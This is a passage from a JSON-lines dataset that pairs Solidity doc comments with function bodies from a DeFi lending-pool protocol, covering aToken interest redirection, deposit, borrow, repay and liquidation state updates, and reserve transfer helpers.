core.getReserveConfiguration(_reserve);\r\n\r\n if (\r\n !vars.reserveUsageAsCollateralEnabled ||\r\n !core.isUserUseReserveAsCollateralEnabled(_reserve, _user)\r\n ) {\r\n return true; //if reserve is not used as collateral, no reasons to block the transfer\r\n }\r\n\r\n (\r\n ,\r\n vars.collateralBalanceETH,\r\n vars.borrowBalanceETH,\r\n vars.totalFeesETH,\r\n ,\r\n vars.currentLiquidationThreshold,\r\n ,\r\n\r\n ) = calculateUserGlobalData(_user);\r\n\r\n if (vars.borrowBalanceETH == 0) {\r\n return true; //no borrows - no reasons to block the transfer\r\n }\r\n\r\n IPriceOracleGetter oracle = IPriceOracleGetter(addressesProvider.getPriceOracle());\r\n\r\n vars.amountToDecreaseETH = oracle.getAssetPrice(_reserve).mul(_amount).div(\r\n 10 ** vars.decimals\r\n );\r\n\r\n vars.collateralBalancefterDecrease = vars.collateralBalanceETH.sub(\r\n vars.amountToDecreaseETH\r\n );\r\n\r\n //if there is a borrow, there can't be 0 collateral\r\n if (vars.collateralBalancefterDecrease == 0) {\r\n return false;\r\n }\r\n\r\n vars.liquidationThresholdAfterDecrease = vars\r\n .collateralBalanceETH\r\n .mul(vars.currentLiquidationThreshold)\r\n .sub(vars.amountToDecreaseETH.mul(vars.reserveLiquidationThreshold))\r\n .div(vars.collateralBalancefterDecrease);\r\n\r\n uint256 healthFactorAfterDecrease = calculateHealthFactorFromBalancesInternal(\r\n vars.collateralBalancefterDecrease,\r\n vars.borrowBalanceETH,\r\n vars.totalFeesETH,\r\n vars.liquidationThresholdAfterDecrease\r\n );\r\n\r\n return healthFactorAfterDecrease > HEALTH_FACTOR_LIQUIDATION_THRESHOLD;\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @notice calculates the amount of collateral needed in ETH to cover a new borrow.\r\n * @param _reserve the reserve from which the user wants to borrow\r\n * @param _amount the amount the user wants to borrow\r\n * @param _fee the fee for the amount that the user needs to cover\r\n * @param _userCurrentBorrowBalanceTH the current borrow balance of the user (before the borrow)\r\n * @param _userCurrentLtv the average ltv of the user given his current collateral\r\n * @return the total amount of collateral in ETH to cover the current borrow balance + the new amount + fee\r\n **/", "function_code": "function calculateCollateralNeededInETH(\r\n address _reserve,\r\n uint256 _amount,\r\n uint256 _fee,\r\n uint256 _userCurrentBorrowBalanceTH,\r\n uint256 _userCurrentFeesETH,\r\n uint256 _userCurrentLtv\r\n ) external view returns (uint256) {\r\n uint256 reserveDecimals = core.getReserveDecimals(_reserve);\r\n\r\n IPriceOracleGetter oracle = IPriceOracleGetter(addressesProvider.getPriceOracle());\r\n\r\n uint256 requestedBorrowAmountETH = oracle\r\n .getAssetPrice(_reserve)\r\n .mul(_amount.add(_fee))\r\n .div(10 ** reserveDecimals); //price is in ether\r\n\r\n //add the current already borrowed amount to the amount requested to calculate the total collateral needed.\r\n uint256 collateralNeededInETH = _userCurrentBorrowBalanceTH\r\n .add(_userCurrentFeesETH)\r\n .add(requestedBorrowAmountETH)\r\n .mul(100)\r\n .div(_userCurrentLtv); //LTV is calculated in percentage\r\n\r\n return collateralNeededInETH;\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev accessory functions to fetch data from the lendingPoolCore\r\n **/", "function_code": "function getReserveConfigurationData(address _reserve)\r\n external\r\n view\r\n returns (\r\n uint256 ltv,\r\n uint256 liquidationThreshold,\r\n uint256 liquidationBonus,\r\n address rateStrategyAddress,\r\n bool usageAsCollateralEnabled,\r\n bool borrowingEnabled,\r\n bool stableBorrowRateEnabled,\r\n bool isActive\r\n )\r\n {\r\n (, ltv, liquidationThreshold, usageAsCollateralEnabled) = core.getReserveConfiguration(\r\n _reserve\r\n );\r\n stableBorrowRateEnabled = core.getReserveIsStableBorrowRateEnabled(_reserve);\r\n borrowingEnabled = core.isReserveBorrowingEnabled(_reserve);\r\n isActive = core.getReserveIsActive(_reserve);\r\n liquidationBonus = core.getReserveLiquidationBonus(_reserve);\r\n\r\n rateStrategyAddress = core.getReserveInterestRateStrategyAddress(_reserve);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev mints token in the event of users depositing the underlying asset into the lending pool\r\n * only lending pools can call this function\r\n * @param _account the address receiving the minted tokens\r\n * @param _amount the amount of tokens to mint\r\n */", "function_code": "function mintOnDeposit(address _account, uint256 _amount) external onlyLendingPool {\r\n\r\n //cumulates the balance of the user\r\n (,\r\n ,\r\n uint256 balanceIncrease,\r\n uint256 index) = cumulateBalanceInternal(_account);\r\n\r\n //if the user is redirecting his interest towards someone else,\r\n //we update the redirected balance of the redirection address by adding the accrued interest\r\n //and the amount deposited\r\n updateRedirectedBalanceOfRedirectionAddressInternal(_account, balanceIncrease.add(_amount), 0);\r\n\r\n //mint an equivalent amount of tokens to cover the new deposit\r\n _mint(_account, _amount);\r\n\r\n emit MintOnDeposit(_account, _amount, balanceIncrease, index);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev burns token in the event of a borrow being liquidated, in case the liquidators reclaims the underlying asset\r\n * Transfer of the liquidated asset is executed by the lending pool contract.\r\n * only lending pools can call this function\r\n * @param _account the address from which burn the aTokens\r\n * @param _value the amount to burn\r\n **/", "function_code": "function burnOnLiquidation(address _account, uint256 _value) external onlyLendingPool {\r\n\r\n //cumulates the balance of the user being liquidated\r\n (,uint256 accountBalance,uint256 balanceIncrease,uint256 index) = cumulateBalanceInternal(_account);\r\n\r\n //adds the accrued interest and substracts the burned amount to\r\n //the redirected balance\r\n updateRedirectedBalanceOfRedirectionAddressInternal(_account, balanceIncrease, _value);\r\n\r\n //burns the requested amount of tokens\r\n _burn(_account, _value);\r\n\r\n bool userIndexReset = false;\r\n //reset the user data if the remaining balance is 0\r\n if(accountBalance.sub(_value) == 0){\r\n userIndexReset = resetDataOnZeroBalanceInternal(_account);\r\n }\r\n\r\n emit BurnOnLiquidation(_account, _value, balanceIncrease, userIndexReset ? 0 : index);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev transfers tokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken\r\n * only lending pools can call this function\r\n * @param _from the address from which transfer the aTokens\r\n * @param _to the destination address\r\n * @param _value the amount to transfer\r\n **/", "function_code": "function transferOnLiquidation(address _from, address _to, uint256 _value) external onlyLendingPool {\r\n\r\n //being a normal transfer, the Transfer() and BalanceTransfer() are emitted\r\n //so no need to emit a specific event here\r\n executeTransferInternal(_from, _to, _value);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev calculates the balance of the user, which is the\r\n * principal balance + interest generated by the principal balance + interest generated by the redirected balance\r\n * @param _user the user for which the balance is being calculated\r\n * @return the total balance of the user\r\n **/", "function_code": "function balanceOf(address _user) public view returns(uint256) {\r\n\r\n //current principal balance of the user\r\n uint256 currentPrincipalBalance = super.balanceOf(_user);\r\n //balance redirected by other users to _user for interest rate accrual\r\n uint256 redirectedBalance = redirectedBalances[_user];\r\n\r\n if(currentPrincipalBalance == 0 && redirectedBalance == 0){\r\n return 0;\r\n }\r\n //if the _user is not redirecting the interest to anybody, accrues\r\n //the interest for himself\r\n\r\n if(interestRedirectionAddresses[_user] == address(0)){\r\n\r\n //accruing for himself means that both the principal balance and\r\n //the redirected balance partecipate in the interest\r\n return calculateCumulatedBalanceInternal(\r\n _user,\r\n currentPrincipalBalance.add(redirectedBalance)\r\n )\r\n .sub(redirectedBalance);\r\n }\r\n else {\r\n //if the user redirected the interest, then only the redirected\r\n //balance generates interest. In that case, the interest generated\r\n //by the redirected balance is added to the current principal balance.\r\n return currentPrincipalBalance.add(\r\n calculateCumulatedBalanceInternal(\r\n _user,\r\n redirectedBalance\r\n )\r\n .sub(redirectedBalance)\r\n );\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev accumulates the accrued interest of the user to the principal balance\r\n * @param _user the address of the user for which the interest is being accumulated\r\n * @return the previous principal balance, the new principal balance, the balance increase\r\n * and the new user index\r\n **/", "function_code": "function cumulateBalanceInternal(address _user)\r\n internal\r\n returns(uint256, uint256, uint256, uint256) {\r\n\r\n uint256 previousPrincipalBalance = super.balanceOf(_user);\r\n\r\n //calculate the accrued interest since the last accumulation\r\n uint256 balanceIncrease = balanceOf(_user).sub(previousPrincipalBalance);\r\n //mints an amount of tokens equivalent to the amount accumulated\r\n _mint(_user, balanceIncrease);\r\n //updates the user index\r\n uint256 index = userIndexes[_user] = core.getReserveNormalizedIncome(underlyingAssetAddress);\r\n return (\r\n previousPrincipalBalance,\r\n previousPrincipalBalance.add(balanceIncrease),\r\n balanceIncrease,\r\n index\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the redirected balance of the user. If the user is not redirecting his\r\n * interest, nothing is executed.\r\n * @param _user the address of the user for which the interest is being accumulated\r\n * @param _balanceToAdd the amount to add to the redirected balance\r\n * @param _balanceToRemove the amount to remove from the redirected balance\r\n **/", "function_code": "function updateRedirectedBalanceOfRedirectionAddressInternal(\r\n address _user,\r\n uint256 _balanceToAdd,\r\n uint256 _balanceToRemove\r\n ) internal {\r\n\r\n address redirectionAddress = interestRedirectionAddresses[_user];\r\n //if there isn't any redirection, nothing to be done\r\n if(redirectionAddress == address(0)){\r\n return;\r\n }\r\n\r\n //compound balances of the redirected address\r\n (,,uint256 balanceIncrease, uint256 index) = cumulateBalanceInternal(redirectionAddress);\r\n\r\n //updating the redirected balance\r\n redirectedBalances[redirectionAddress] = redirectedBalances[redirectionAddress]\r\n .add(_balanceToAdd)\r\n .sub(_balanceToRemove);\r\n\r\n //if the interest of redirectionAddress is also being redirected, we need to update\r\n //the redirected balance of the redirection target by adding the balance increase\r\n address targetOfRedirectionAddress = interestRedirectionAddresses[redirectionAddress];\r\n\r\n if(targetOfRedirectionAddress != address(0)){\r\n redirectedBalances[targetOfRedirectionAddress] = redirectedBalances[targetOfRedirectionAddress].add(balanceIncrease);\r\n }\r\n\r\n emit RedirectedBalanceUpdated(\r\n redirectionAddress,\r\n balanceIncrease,\r\n index,\r\n _balanceToAdd,\r\n _balanceToRemove\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev executes the transfer of aTokens, invoked by both _transfer() and\r\n * transferOnLiquidation()\r\n * @param _from the address from which transfer the aTokens\r\n * @param _to the destination address\r\n * @param _value the amount to transfer\r\n **/", "function_code": "function executeTransferInternal(\r\n address _from,\r\n address _to,\r\n uint256 _value\r\n ) internal {\r\n\r\n require(_value > 0, \"Transferred amount needs to be greater than zero\");\r\n\r\n //cumulate the balance of the sender\r\n (,\r\n uint256 fromBalance,\r\n uint256 fromBalanceIncrease,\r\n uint256 fromIndex\r\n ) = cumulateBalanceInternal(_from);\r\n\r\n //cumulate the balance of the receiver\r\n (,\r\n ,\r\n uint256 toBalanceIncrease,\r\n uint256 toIndex\r\n ) = cumulateBalanceInternal(_to);\r\n\r\n //if the sender is redirecting his interest towards someone else,\r\n //adds to the redirected balance the accrued interest and removes the amount\r\n //being transferred\r\n updateRedirectedBalanceOfRedirectionAddressInternal(_from, fromBalanceIncrease, _value);\r\n\r\n //if the receiver is redirecting his interest towards someone else,\r\n //adds to the redirected balance the accrued interest and the amount\r\n //being transferred\r\n updateRedirectedBalanceOfRedirectionAddressInternal(_to, toBalanceIncrease.add(_value), 0);\r\n\r\n //performs the transfer\r\n super._transfer(_from, _to, _value);\r\n\r\n bool fromIndexReset = false;\r\n //reset the user data if the remaining balance is 0\r\n if(fromBalance.sub(_value) == 0){\r\n fromIndexReset = resetDataOnZeroBalanceInternal(_from);\r\n }\r\n\r\n emit BalanceTransfer(\r\n _from,\r\n _to,\r\n _value,\r\n fromBalanceIncrease,\r\n toBalanceIncrease,\r\n fromIndexReset ? 0 : fromIndex,\r\n toIndex\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev function to reset the interest stream redirection and the user index, if the\r\n * user has no balance left.\r\n * @param _user the address of the user\r\n * @return true if the user index has also been reset, false otherwise. useful to emit the proper user index value\r\n **/", "function_code": "function resetDataOnZeroBalanceInternal(address _user) internal returns(bool) {\r\n\r\n //if the user has 0 principal balance, the interest stream redirection gets reset\r\n interestRedirectionAddresses[_user] = address(0);\r\n\r\n //emits a InterestStreamRedirected event to notify that the redirection has been reset\r\n emit InterestStreamRedirected(_user, address(0),0,0,0);\r\n\r\n //if the redirected balance is also 0, we clear up the user index\r\n if(redirectedBalances[_user] == 0){\r\n userIndexes[_user] = 0;\r\n return true;\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the core as a result of a deposit action\r\n * @param _reserve the address of the reserve in which the deposit is happening\r\n * @param _user the address of the the user depositing\r\n * @param _amount the amount being deposited\r\n * @param _isFirstDeposit true if the user is depositing for the first time\r\n **/", "function_code": "function updateStateOnDeposit(\r\n address _reserve,\r\n address _user,\r\n uint256 _amount,\r\n bool _isFirstDeposit\r\n ) external onlyLendingPool {\r\n reserves[_reserve].updateCumulativeIndexes();\r\n updateReserveInterestRatesAndTimestampInternal(_reserve, _amount, 0);\r\n\r\n if (_isFirstDeposit) {\r\n //if this is the first deposit of the user, we configure the deposit as enabled to be used as collateral\r\n setUserUseReserveAsCollateral(_reserve, _user, true);\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the core as a result of a redeem action\r\n * @param _reserve the address of the reserve in which the redeem is happening\r\n * @param _user the address of the the user redeeming\r\n * @param _amountRedeemed the amount being redeemed\r\n * @param _userRedeemedEverything true if the user is redeeming everything\r\n **/", "function_code": "function updateStateOnRedeem(\r\n address _reserve,\r\n address _user,\r\n uint256 _amountRedeemed,\r\n bool _userRedeemedEverything\r\n ) external onlyLendingPool {\r\n //compound liquidity and variable borrow interests\r\n reserves[_reserve].updateCumulativeIndexes();\r\n updateReserveInterestRatesAndTimestampInternal(_reserve, 0, _amountRedeemed);\r\n\r\n //if user redeemed everything the useReserveAsCollateral flag is reset\r\n if (_userRedeemedEverything) {\r\n setUserUseReserveAsCollateral(_reserve, _user, false);\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the core as a consequence of a borrow action.\r\n * @param _reserve the address of the reserve on which the user is borrowing\r\n * @param _user the address of the borrower\r\n * @param _amountBorrowed the new amount borrowed\r\n * @param _borrowFee the fee on the amount borrowed\r\n * @param _rateMode the borrow rate mode (stable, variable)\r\n * @return the new borrow rate for the user\r\n **/", "function_code": "function updateStateOnBorrow(\r\n address _reserve,\r\n address _user,\r\n uint256 _amountBorrowed,\r\n uint256 _borrowFee,\r\n CoreLibrary.InterestRateMode _rateMode\r\n ) external onlyLendingPool returns (uint256, uint256) {\r\n // getting the previous borrow data of the user\r\n (uint256 principalBorrowBalance, , uint256 balanceIncrease) = getUserBorrowBalances(\r\n _reserve,\r\n _user\r\n );\r\n\r\n updateReserveStateOnBorrowInternal(\r\n _reserve,\r\n _user,\r\n principalBorrowBalance,\r\n balanceIncrease,\r\n _amountBorrowed,\r\n _rateMode\r\n );\r\n\r\n updateUserStateOnBorrowInternal(\r\n _reserve,\r\n _user,\r\n _amountBorrowed,\r\n balanceIncrease,\r\n _borrowFee,\r\n _rateMode\r\n );\r\n\r\n updateReserveInterestRatesAndTimestampInternal(_reserve, 0, _amountBorrowed);\r\n\r\n return (getUserCurrentBorrowRate(_reserve, _user), balanceIncrease);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the core as a consequence of a repay action.\r\n * @param _reserve the address of the reserve on which the user is repaying\r\n * @param _user the address of the borrower\r\n * @param _paybackAmountMinusFees the amount being paid back minus fees\r\n * @param _originationFeeRepaid the fee on the amount that is being repaid\r\n * @param _balanceIncrease the accrued interest on the borrowed amount\r\n * @param _repaidWholeLoan true if the user is repaying the whole loan\r\n **/", "function_code": "function updateStateOnRepay(\r\n address _reserve,\r\n address _user,\r\n uint256 _paybackAmountMinusFees,\r\n uint256 _originationFeeRepaid,\r\n uint256 _balanceIncrease,\r\n bool _repaidWholeLoan\r\n ) external onlyLendingPool {\r\n updateReserveStateOnRepayInternal(\r\n _reserve,\r\n _user,\r\n _paybackAmountMinusFees,\r\n _balanceIncrease\r\n );\r\n updateUserStateOnRepayInternal(\r\n _reserve,\r\n _user,\r\n _paybackAmountMinusFees,\r\n _originationFeeRepaid,\r\n _balanceIncrease,\r\n _repaidWholeLoan\r\n );\r\n\r\n updateReserveInterestRatesAndTimestampInternal(_reserve, _paybackAmountMinusFees, 0);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the core as a consequence of a swap rate action.\r\n * @param _reserve the address of the reserve on which the user is repaying\r\n * @param _user the address of the borrower\r\n * @param _principalBorrowBalance the amount borrowed by the user\r\n * @param _compoundedBorrowBalance the amount borrowed plus accrued interest\r\n * @param _balanceIncrease the accrued interest on the borrowed amount\r\n * @param _currentRateMode the current interest rate mode for the user\r\n **/", "function_code": "function updateStateOnSwapRate(\r\n address _reserve,\r\n address _user,\r\n uint256 _principalBorrowBalance,\r\n uint256 _compoundedBorrowBalance,\r\n uint256 _balanceIncrease,\r\n CoreLibrary.InterestRateMode _currentRateMode\r\n ) external onlyLendingPool returns (CoreLibrary.InterestRateMode, uint256) {\r\n updateReserveStateOnSwapRateInternal(\r\n _reserve,\r\n _user,\r\n _principalBorrowBalance,\r\n _compoundedBorrowBalance,\r\n _currentRateMode\r\n );\r\n\r\n CoreLibrary.InterestRateMode newRateMode = updateUserStateOnSwapRateInternal(\r\n _reserve,\r\n _user,\r\n _balanceIncrease,\r\n _currentRateMode\r\n );\r\n\r\n updateReserveInterestRatesAndTimestampInternal(_reserve, 0, 0);\r\n\r\n return (newRateMode, getUserCurrentBorrowRate(_reserve, _user));\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the core as a consequence of a liquidation action.\r\n * @param _principalReserve the address of the principal reserve that is being repaid\r\n * @param _collateralReserve the address of the collateral reserve that is being liquidated\r\n * @param _user the address of the borrower\r\n * @param _amountToLiquidate the amount being repaid by the liquidator\r\n * @param _collateralToLiquidate the amount of collateral being liquidated\r\n * @param _feeLiquidated the amount of origination fee being liquidated\r\n * @param _liquidatedCollateralForFee the amount of collateral equivalent to the origination fee + bonus\r\n * @param _balanceIncrease the accrued interest on the borrowed amount\r\n * @param _liquidatorReceivesAToken true if the liquidator will receive aTokens, false otherwise\r\n **/", "function_code": "function updateStateOnLiquidation(\r\n address _principalReserve,\r\n address _collateralReserve,\r\n address _user,\r\n uint256 _amountToLiquidate,\r\n uint256 _collateralToLiquidate,\r\n uint256 _feeLiquidated,\r\n uint256 _liquidatedCollateralForFee,\r\n uint256 _balanceIncrease,\r\n bool _liquidatorReceivesAToken\r\n ) external onlyLendingPool {\r\n updatePrincipalReserveStateOnLiquidationInternal(\r\n _principalReserve,\r\n _user,\r\n _amountToLiquidate,\r\n _balanceIncrease\r\n );\r\n\r\n updateCollateralReserveStateOnLiquidationInternal(\r\n _collateralReserve\r\n );\r\n\r\n updateUserStateOnLiquidationInternal(\r\n _principalReserve,\r\n _user,\r\n _amountToLiquidate,\r\n _feeLiquidated,\r\n _balanceIncrease\r\n );\r\n\r\n updateReserveInterestRatesAndTimestampInternal(_principalReserve, _amountToLiquidate, 0);\r\n\r\n if (!_liquidatorReceivesAToken) {\r\n updateReserveInterestRatesAndTimestampInternal(\r\n _collateralReserve,\r\n 0,\r\n _collateralToLiquidate.add(_liquidatedCollateralForFee)\r\n );\r\n }\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev updates the state of the core as a consequence of a stable rate rebalance\r\n * @param _reserve the address of the principal reserve where the user borrowed\r\n * @param _user the address of the borrower\r\n * @param _balanceIncrease the accrued interest on the borrowed amount\r\n * @return the new stable rate for the user\r\n **/", "function_code": "function updateStateOnRebalance(address _reserve, address _user, uint256 _balanceIncrease)\r\n external\r\n onlyLendingPool\r\n returns (uint256)\r\n {\r\n updateReserveStateOnRebalanceInternal(_reserve, _user, _balanceIncrease);\r\n\r\n //update user data and rebalance the rate\r\n updateUserStateOnRebalanceInternal(_reserve, _user, _balanceIncrease);\r\n updateReserveInterestRatesAndTimestampInternal(_reserve, 0, 0);\r\n return usersReserveData[_user][_reserve].stableBorrowRate;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev transfers to the user a specific amount from the reserve.\r\n * @param _reserve the address of the reserve where the transfer is happening\r\n * @param _user the address of the user receiving the transfer\r\n * @param _amount the amount being transferred\r\n **/", "function_code": "function transferToUser(address _reserve, address payable _user, uint256 _amount)\r\n external\r\n onlyLendingPool\r\n {\r\n if (_reserve != EthAddressLib.ethAddress()) {\r\n ERC20(_reserve).safeTransfer(_user, _amount);\r\n } else {\r\n //solium-disable-next-line\r\n (bool result, ) = _user.call.value(_amount).gas(50000)(\"\");\r\n require(result, \"Transfer of ETH failed\");\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev transfers the protocol fees to the fees collection address\r\n * @param _token the address of the token being transferred\r\n * @param _user the address of the user from where the transfer is happening\r\n * @param _amount the amount being transferred\r\n * @param _destination the fee receiver address\r\n **/", "function_code": "function transferToFeeCollectionAddress(\r\n address _token,\r\n address _user,\r\n uint256 _amount,\r\n address _destination\r\n ) external payable onlyLendingPool {\r\n address payable feeAddress = address(uint160(_destination)); //cast the address to payable\r\n\r\n if (_token != EthAddressLib.ethAddress()) {\r\n require(\r\n msg.value == 0,\r\n \"User is sending ETH along with the ERC20 transfer. Check the value attribute of the transaction\"\r\n );\r\n ERC20(_token).safeTransferFrom(_user, feeAddress, _amount);\r\n } else {\r\n require(msg.value >= _amount, \"The amount and the value sent to deposit do not match\");\r\n //solium-disable-next-line\r\n (bool result, ) = feeAddress.call.value(_amount).gas(50000)(\"\");\r\n require(result, \"Transfer of ETH failed\");\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev transfers the fees to the fees collection address in the case of liquidation\r\n * @param _token the address of the token being transferred\r\n * @param _amount the amount being transferred\r\n * @param _destination the fee receiver address\r\n **/", "function_code": "function liquidateFee(\r\n address _token,\r\n uint256 _amount,\r\n address _destination\r\n ) external payable onlyLendingPool {\r\n address payable feeAddress = address(uint160(_destination)); //cast the address to payable\r\n require(\r\n msg.value == 0,\r\n \"Fee liquidation does not require any transfer of value\"\r\n );\r\n\r\n if (_token != EthAddressLib.ethAddress()) {\r\n ERC20(_token).safeTransfer(feeAddress, _amount);\r\n } else {\r\n //solium-disable-next-line\r\n (bool result, ) = feeAddress.call.value(_amount).gas(50000)(\"\");\r\n require(result, \"Transfer of ETH failed\");\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev transfers an amount from a user to the destination reserve\r\n * @param _reserve the address of the reserve where the amount is being transferred\r\n * @param _user the address of the user from where the transfer is happening\r\n * @param _amount the amount being transferred\r\n **/", "function_code": "function transferToReserve(address _reserve, address payable _user, uint256 _amount)\r\n external\r\n payable\r\n onlyLendingPool\r\n {\r\n if (_reserve != EthAddressLib.ethAddress()) {\r\n require(msg.value == 0, \"User is sending ETH along with the ERC20 transfer.\");\r\n ERC20(_reserve).safeTransferFrom(_user, address(this), _amount);\r\n\r\n } else {\r\n require(msg.value >= _amount, \"The amount and the value sent to deposit do not match\");\r\n\r\n if (msg.value > _amount) {\r\n //send back excess ETH\r\n uint256 excessAmount = msg.value.sub(_amount);\r\n //solium-disable-next-line\r\n (bool result, ) = _user.call.value(excessAmount).gas(50000)(\"\");\r\n require(result, \"Transfer of ETH failed\");\r\n }\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev returns the basic data (balances, fee accrued, reserve enabled/disabled as collateral)\r\n * needed to calculate the global account data in the LendingPoolDataProvider\r\n * @param _reserve the address of the reserve\r\n * @param _user the address of the user\r\n * @return the user deposited balance, the principal borrow balance, the fee, and if the reserve is enabled as collateral or not\r\n **/", "function_code": "function getUserBasicReserveData(address _reserve, address _user)\r\n external\r\n view\r\n returns (uint256, uint256, uint256, bool)\r\n {\r\n CoreLibrary.ReserveData storage reserve = reserves[_reserve];\r\n CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];\r\n\r\n uint256 underlyingBalance = getUserUnderlyingAssetBalance(_reserve, _user);\r\n\r\n if (user.principalBorrowBalance == 0) {\r\n return (underlyingBalance, 0, 0, user.useAsCollateral);\r\n }\r\n\r\n return (\r\n underlyingBalance,\r\n user.getCompoundedBorrowBalance(reserve),\r\n user.originationFee,\r\n user.useAsCollateral\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev checks if a user is allowed to borrow at a stable rate\r\n * @param _reserve the reserve address\r\n * @param _user the user\r\n * @param _amount the amount the the user wants to borrow\r\n * @return true if the user is allowed to borrow at a stable rate, false otherwise\r\n **/", "function_code": "function isUserAllowedToBorrowAtStable(address _reserve, address _user, uint256 _amount)\r\n external\r\n view\r\n returns (bool)\r\n {\r\n CoreLibrary.ReserveData storage reserve = reserves[_reserve];\r\n CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];\r\n\r\n if (!reserve.isStableBorrowRateEnabled) return false;\r\n\r\n return\r\n !user.useAsCollateral ||\r\n !reserve.usageAsCollateralEnabled ||\r\n _amount > getUserUnderlyingAssetBalance(_reserve, _user);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev gets the reserve current stable borrow rate. Is the market rate if the reserve is empty\r\n * @param _reserve the reserve address\r\n * @return the reserve current stable borrow rate\r\n **/", "function_code": "function getReserveCurrentStableBorrowRate(address _reserve) public view returns (uint256) {\r\n CoreLibrary.ReserveData storage reserve = reserves[_reserve];\r\n ILendingRateOracle oracle = ILendingRateOracle(addressesProvider.getLendingRateOracle());\r\n\r\n if (reserve.currentStableBorrowRate == 0) {\r\n //no stable rate borrows yet\r\n return oracle.getMarketBorrowRate(_reserve);\r\n }\r\n\r\n return reserve.currentStableBorrowRate;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev this function aggregates the configuration parameters of the reserve.\r\n * It's used in the LendingPoolDataProvider specifically to save gas, and avoid\r\n * multiple external contract calls to fetch the same data.\r\n * @param _reserve the reserve address\r\n * @return the reserve decimals\r\n * @return the base ltv as collateral\r\n * @return the liquidation threshold\r\n * @return if the reserve is used as collateral or not\r\n **/", "function_code": "function getReserveConfiguration(address _reserve)\r\n external\r\n view\r\n returns (uint256, uint256, uint256, bool)\r\n {\r\n uint256 decimals;\r\n uint256 baseLTVasCollateral;\r\n uint256 liquidationThreshold;\r\n bool usageAsCollateralEnabled;\r\n\r\n CoreLibrary.ReserveData storage reserve = reserves[_reserve];\r\n decimals = reserve.decimals;\r\n baseLTVasCollateral = reserve.baseLTVasCollateral;\r\n liquidationThreshold = reserve.liquidationThreshold;\r\n usageAsCollateralEnabled = reserve.usageAsCollateralEnabled;\r\n\r\n return (decimals, baseLTVasCollateral, liquidationThreshold, usageAsCollateralEnabled);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev returns the utilization rate U of a specific reserve\r\n * @param _reserve the reserve for which the information is needed\r\n * @return the utilization rate in ray\r\n **/", "function_code": "function getReserveUtilizationRate(address _reserve) public view returns (uint256) {\r\n CoreLibrary.ReserveData storage reserve = reserves[_reserve];\r\n\r\n uint256 totalBorrows = reserve.getTotalBorrows();\r\n\r\n if (totalBorrows == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 availableLiquidity = getReserveAvailableLiquidity(_reserve);\r\n\r\n return totalBorrows.rayDiv(availableLiquidity.add(totalBorrows));\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev users with no loans in progress have NONE as borrow rate mode\r\n * @param _reserve the address of the reserve for which the information is needed\r\n * @param _user the address of the user for which the information is needed\r\n * @return the borrow rate mode for the user,\r\n **/", "function_code": "function getUserCurrentBorrowRateMode(address _reserve, address _user)\r\n public\r\n view\r\n returns (CoreLibrary.InterestRateMode)\r\n {\r\n CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];\r\n\r\n if (user.principalBorrowBalance == 0) {\r\n return CoreLibrary.InterestRateMode.NONE;\r\n }\r\n\r\n return\r\n user.stableBorrowRate > 0\r\n ? CoreLibrary.InterestRateMode.STABLE\r\n : CoreLibrary.InterestRateMode.VARIABLE;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev gets the current borrow rate of the user\r\n * @param _reserve the address of the reserve for which the information is needed\r\n * @param _user the address of the user for which the information is needed\r\n * @return the borrow rate for the user,\r\n **/", "function_code": "function getUserCurrentBorrowRate(address _reserve, address _user)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n CoreLibrary.InterestRateMode rateMode = getUserCurrentBorrowRateMode(_reserve, _user);\r\n\r\n if (rateMode == CoreLibrary.InterestRateMode.NONE) {\r\n return 0;\r\n }\r\n\r\n return\r\n rateMode == CoreLibrary.InterestRateMode.STABLE\r\n ? usersReserveData[_user][_reserve].stableBorrowRate\r\n : reserves[_reserve].currentVariableBorrowRate;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev calculates and returns the borrow balances of the user\r\n * @param _reserve the address of the reserve\r\n * @param _user the address of the user\r\n * @return the principal borrow balance, the compounded balance and the balance increase since the last borrow/repay/swap/rebalance\r\n **/", "function_code": "function getUserBorrowBalances(address _reserve, address _user)\r\n public\r\n view\r\n returns (uint256, uint256, uint256)\r\n {\r\n CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];\r\n if (user.principalBorrowBalance == 0) {\r\n return (0, 0, 0);\r\n }\r\n\r\n uint256 principal = user.principalBorrowBalance;\r\n uint256 compoundedBalance = CoreLibrary.getCompoundedBorrowBalance(\r\n user,\r\n reserves[_reserve]\r\n );\r\n return (principal, compoundedBalance, 